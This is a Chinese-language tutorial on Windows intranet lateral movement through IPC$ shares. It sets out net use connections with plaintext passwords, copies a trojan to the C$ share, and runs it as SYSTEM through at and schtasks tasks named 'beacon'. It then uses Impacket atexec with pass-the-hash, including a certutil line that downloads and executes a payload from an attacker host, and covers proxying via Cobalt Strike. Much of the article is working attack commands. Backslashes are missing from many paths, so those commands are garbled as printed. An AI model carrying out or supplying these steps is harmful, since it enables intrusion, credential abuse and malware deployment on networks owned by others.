电子说
什么是IPC?
IPC(共享命名管道资源)其实就是为了实现进程间通信而开放的命名管道;它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
IPC的利用条件
1. 获得用户名和密码
2. 开放了139、445端口
IPC可以实现远程登录及对默认共享资源的访问,而139端口的开启标识NetBIOS协议的应用。通过139、445端口可以实现对共享文件/打印机的访问。
3. 管理员开启了默认共享
默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c$,d$,e$)等,和系统目录winnt或windows(admin$)。通过IPC可以实现对这些默认共享目录的访问。
IPC在内网中的利用手法
IPC基础命令
1. 查看IPC连接与删除IPC连接
net use # 查看IPC连接 net use \serveripc$ /del # 删除IPC连接
2. 建立IPC链接到目标主机
net use \server ipipc$ "password" /user:username #工作组
net use \server ipipc$ "password" /user:domainusername #域内主机
3. 查看文件列表
dir \server ipc$
4. 下载与复制文件
在下载文件这里,我们是可以看到192.168.3.32的C盘下是有一个IP.txt文件的,这里我们使用下载文件命令将其下载到我们的桌面。
copy \server ipc$1.ext 1.exe # 下载文件
copy 1.bat \server ipc$ # 上传文件
5. 查看文件内容
若是想要查看⽬标 C 盘下的 ip.txt ⽂件就可以使⽤ type 命令
type \192.168.3.32c$ip.txt
计划任务执行命令
在实战中,我们建立了IPC连接后,可以上传木马文件然后使用计划任务将其上线,目前windows有两个计划任务命令,系统小于windows 2012的使用at命令,系统大于等于Windows server 2012的操作系统已经弃用了at命令使用schtasks命令。
如下图,假设我们当前已经拿到了Web Server的主机权限,并成功与其内网的两台主机建立了IPC连接,这时我们想将这两台主机进行上线就需要考虑到刚刚提到的由于windows版本,该使用at还是schtasks计划让其运行木马这个问题。
AT
首先我们先将一个木马上传到我们的Web server中,由于内网主机不出网,所以这里要生成正向连接的木马或通过Web server中转上线的木马,这里使用的为中转上线生成的木马
在建立IPC连接后,将木马上传到目标机器中,然后再使用AT创建计划任务将其执行上线
net use \192.168.3.21ipc$ "Admin12345" /user:administrator copy 4444.exe \192.168.3.21c$ dir \192.168.3.21c$
net time \192.168.3.21 # 查看目标系统时间 at 192.168.3.21 16:40 C:4444.exe # 使用at计划任务执行C盘下的4444.exe
at \192.168.3.21 1 # 查看at id=1 的计划任务 at \192.168.3.21 1 /delete # 删除at id=1 的计划任务
Schtasks
在windows server 2012及以后的操作系统已经弃用了at命令,转而使用schtasks命令,schtasks命令比at命令更加的灵活,但是在使用schtasks命令时,就会在系统中留下日志文件:C:Windows|Tasksxx.txt,这里不详细讲解schtasks的具体使用命令,只讲解在横向移动中,我们常用的操作命令。
和AT命令一样,我们先和目标主机建立IPC连接,将木马上传到目标机器中,然后再使用schtasks命令执行木马程序
net use \192.168.3.32 "admin!@#45" /user:administrator copy 4444.exe \192.168.3.32c$ dir \192.168.3.32c$
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:4444.exe /F # 创建beacon任务对应执行文件,每天运行一次 schtasks /run /s 192.168.3.32 /tn beacon /i # 运行beacon服务
schtasks /query | findstr beacon # 查看beacon计划任务 schtasks /delete /s 192.168.3.32 /tn beacon /f # 删除beacon计划任务
Impacket-atexec
在上文中,我们讲述了在命令行下通过使用计划任务来进行横向移动的效果,但该效果相对来说不太方便,例如只适用于明文密码进行连接,无法支持hash、在执行了命令后,无法获得回显等。这里我们可以使用Impacket-atexec工具,impacket是一个打包好的工具包,里面包含了对于各种协议和系统命令的利用工具。
对于at&schtasks,我们可以使用impacket中的atexec.exe,使用它可以轻松地进行远程连接并执行系统命令。impacket有两个版本,一个为exe可执行程序,另一个为python文件,该工具适用于Webshell下,Socks代理下,并且支持以hash的方式进行连接。
atexec EXE版
EXE版本具体使用方式如下:首先将atexec.exe上传到目标机器中
然后运行该文件
atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami" # 本地用户明文连接执行命令 atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami" #域内用户明文连接执行命令
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami" # 使用hash进行本地用户连接 atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami" # 使用hash进行域内用户连接
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "certutil.exe -urlcache -split -f http://192.168.3.31:80/4444.exe 4444.exe" atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "dir | findstr 4444.exe"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "4444.exe"
atexec Python版
以上是atexec.exe的利用,但是因为需要在目标主机上面上传exe在实战中不实用,可能照成数据包丢失,也可能被查杀。所以这里在实战中建议使用python版本,但是也有可能目标主机没有相对的语言解析 ,所以最好的办法就是使用socket代理调用atexec.py对其内网进行利用。
主要操作如下:首先在CS上设置一个socket代理,然后使用proxifier 添加代理、规则。
设置好代理之后,设置下代理规则,将所有目标主机为192.168.3.0的数据包都通过我们的socket代理进行通信,这样我们就可以与其内网的主机进行通信。
这时代理设置好了之后,我们就可以直接在本机中使用atexec.py对其内网进行横向移动了,具体命令如下:
python atexec.py .administrator:Admin12345@192.168.3.21 "whoami" # 本地明文建立IPC连接并执行命令 python atexec.py godadministrator:Admin12345@192.168.3.21 "whoami" # 域内主机建立IPC连接并执行命令
python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"#本地用户使用hash进行IPC连接 python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"#本地用户使用hash进行IPC连接
审核编辑:刘清
全部0条评论
快来发表一下你的评论吧 !